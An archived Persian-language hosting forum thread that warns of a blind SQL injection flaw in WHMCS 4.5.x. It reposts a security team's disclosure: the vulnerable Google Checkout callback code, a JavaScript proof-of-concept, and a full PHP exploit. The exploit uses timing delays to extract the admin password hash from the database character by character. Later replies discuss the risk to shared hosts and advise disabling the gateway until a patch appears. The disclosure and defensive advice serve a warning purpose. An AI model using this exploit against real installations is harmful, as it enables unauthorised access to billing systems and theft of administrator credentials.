PDA

توجه ! این یک نسخه آرشیو شده میباشد و در این حالت شما عکسی را مشاهده نمیکنید برای مشاهده کامل متن و عکسها بر روی لینک مقابل کلیک کنید : مهم »»» مشکل امنیتی جدید در WHMCS ورژن 4.5.x



secure_host
October 23rd, 2012, 21:45
با سلام
طی گزارشات دریافتی اخیرا مشکل امنیتی با درجه اهمیت بالا برای نسخه 4.5.x سیستم WHMCS گزارش شده است . لطفا هرچه سریع تر مشکل را از طریق شرکت ارایه دهنده مربوطه برطرف نمایید.

مشکل امنیتی مربوطه در ادامه ارسال شده است.



WHMCS v4.5.2 Blind SQL Injection Vulnerability

[ Home ] [ Description ]
____ _
/ ___|| |_ __ _ _ __ __ ____ _ _ __ ___
\___ \| __/ _` | '__| \ \ /\ / / _` | '__/ _ \
___) | || (_| | | \ V V / (_| | | | __/
|____/ \__\__,_|_| \_/\_/ \__,_|_| \___|


# Software : WHMCS (WHMCompleteSolution)
# Google Dork: Turn on thinking mode :P
# Date: 10/22/2012
# Author: Starware Security Team [www.Resecure.me]
# Contact Us : Security[@]star-ware.com
# Vendor Homepage: http://www.whmcs.com
# Tested on: WHMCS v4.5.2
# Affected versions: 4.5.x
-----------------------------------------------------

#Vulnerability Exists in : [SCRIPT_DIR]/modules/gateways/callback/googlecheckout.php

#Vulnerable Source Code Snippet :

LINE 11: $xml_response = (isset($HTTP_RAW_POST_DATA) ? $HTTP_RAW_POST_DATA : file_get_contents('php://input'));
LINE 16: $xmldata = XMLtoArray($xml_response);
LINE 19: $ordernumber = $xmldata['CHARGE-AMOUNT-NOTIFICATION']['GOOGLE-ORDER-NUMBER'];
LINE 22: $query = 'SELECT data FROM tblgatewaylog WHERE gateway=\'Google Checkout\' AND data LIKE \'%new-order-notification%' . $ordernumber . '%\'';

#Proof of Concept :

<html>
<head>
<title>WHMCS Blind SQL Injection POC</title>
</head>
<body>
<script>
var params = "<charge-amount-notification><google-order-number>0' %YOUR INJECTION HERE% -- -</google-order-number><new-fulfillment-order-state>charge-amount-notification</new-fulfillment-order-state></charge-amount-notification>";
var http = new XMLHttpRequest();
try {
netscape.security.PrivilegeManager.enablePrivilege ("UniversalBrowserRead");
} catch (e) {
alert("Permission UniversalBrowserRead denied.");
}
http.open("POST", "http://site.com/whmcs/modules/gateways/callback/googlecheckout.php", true);
http.onreadystatechange = handleResponse;
http.send(params);
function handleResponse() {

if(http.readyState == 4 && http.status == 200){
var response = http.responseText;
alert(response);
}
}
</script>
</body>
</html>

#Exploit Code :


<?php
/*
WHMCS Blind SQL Injection Exploit by Starware Security Team.
Usage: php exploit.php URL seconds
*/

set_time_limit(0);
function post_request($url,$post_data,$follow=0) {
$user_agent = 'Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1';
$ch = curl_init();
$timeout = 1;
$execution_timeout = 4;
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
if($follow == 1) curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE );
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_HTTPHEADER,array('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language: en-us,en;q=0.5','Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7','Keep-Alive: 115','Connection: keep-alive'));
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $execution_timeout);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,$post_data);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}

function start_time() {
$time = microtime();
$time = explode(" ", $time);
$time = $time[1] + $time[0];
return $time;

}

function end_time($start) {
$time = microtime();
$time = explode(" ", $time);
$time = $time[1] + $time[0];
$finish = $time;
$totaltime = ($finish - $start);
return round($totaltime);
}


function check_ascii($num,$num2,$num3) {
global $url,$seconds;
$start= start_time();
$injection = "/**/AnD/**/if(ascii(substring((SeLEcT/**/password/**/FROM/**/tbladmins/**/whEre/**/id/**/=/**/1),$num3,1))/**/BETWEEN/**/$num/**/and/**/$num2,/**/BENCHMARK(999999,MD5(NOW()*NOW())),/**/0)/**/-- #";
post_request($url,"<charge-amount-notification><google-order-number>0' $injection </google-order-number><new-fulfillment-order-state>charge-amount-notification</new-fulfillment-order-state></charge-amount-notification>");
if(end_time($start) >= $seconds) return true; else return false;

}


function inject($num,$num2,$num3) {

global $url,$seconds;
for($i=$num;$i<=$num2;$i++) {
$start= start_time();
$injection = "/**/AnD/**/if(ascii(substring((SeLEcT/**/password/**/FROM/**/tbladmins/**/whEre/**/id/**/=/**/1),$num3,1))/**/=/**/$i,/**/BENCHMARK(999999,MD5(NOW()*NOW())),/**/0)/**/-- #";
post_request($url,"<charge-amount-notification><google-order-number>0' $injection </google-order-number><new-fulfillment-order-state>charge-amount-notification</new-fulfillment-order-state></charge-amount-notification>");
if(end_time($start) >= $seconds) { echo chr($i); flush(); }

}


}

function get_password() {
global $url;
for($i=1; $i<=32;$i++) {
if(check_ascii(48,52,$i)) { inject(48,52,$i); }
elseif(check_ascii(53,57,$i)) { inject(53,57,$i); }
elseif(check_ascii(97,101,$i)) { inject(97,101,$i); }
elseif(check_ascii(102,106,$i)) { inject(102,106,$i); }
elseif(check_ascii(107,111,$i)) { inject(107,111,$i); }
elseif(check_ascii(112,116,$i)) { inject(112,116,$i); }
elseif(check_ascii(116,122,$i)) { inject(116,122,$i); }
}
}



if ($argc < 3) {
print "Usage: php ".$argv[0]." URL seconds\r\nExample:\r\nphp ".$argv[0]." http://site.com/whmcs/ 1\r\n-----------------------------------------\r\n";
die;
}
$url = trim($argv[1])."/modules/gateways/callback/googlecheckout.php";
$seconds = trim($argv[2]);
echo "[~] Fetching password right now ... \n"; flush();
echo " >> MD5 Password = "; flush();
get_password();

?>


################################################## ###############################

Note: to exploit this vulnerability the google checkout payment gateway
should be activated by admin from the whmcs admin panel

~ END OF Disclosure ~

Good Luck :)

################################################## ###############################
# Starware is an company specialzed in Hosting and Information Security field #
# with list of high ranked sites including Mobile operators used our Hosting #
# and Security Services. #
# #
# "Company Located in Egypt" #
# #
# http://www.star-ware.com #
# #
################################################## ###############################

# 1337day.com [2012-10-23]


اطلاعات تکمیلی :

http://1337day.com/exploit/19615

اطلاعاتی در مورد باگ مربوطه
https://www.owasp.org/index.php/Blind_SQL_Injection

sa_sh41
October 24th, 2012, 02:09
؟ایا خطر افرادیکه از هاست های اشتراکی استفاده می کنند و سروکار زیادی با whmcs ندارند رو هم تهدید میکنه

secure_host
October 25th, 2012, 03:38
با سلام
این باگ مربوط به خود whmcs می باشد. و با توجه به این که معقولانه نیست که whmcs را در سرور اشتراکی استفاده نمایید . خطری دیگر هاست ها را تهدید نمی کند . ولی در صورتی که در هاست اشتراکی استفاده شود. هم هاست اشتراکی یکی از مخاطرات امنیتی اطلاعات کاربری در سرور اشتراکی می باشد . و هم در صورتی که whmcs مشکل کنونی را داشته باشد . شخص نفوذ گر می تواند بعد از نفوذ به whmcs با استفاده از وب شل ها ، برای دیگر وب سایت ها نیز خطر ایجاد کند.
با تشکر

router_ded
October 25th, 2012, 04:08
فایلی نداره که این باگ رو ببندیم ؟

secure_host
October 26th, 2012, 01:14
با سلام
تا اطلاع ثانوی google checkout payment gateway را غیرفعال نمایید. تا خود WHMCS براش patch بده .
و یا هر کس ساخت pm بده براش Patch کنیم.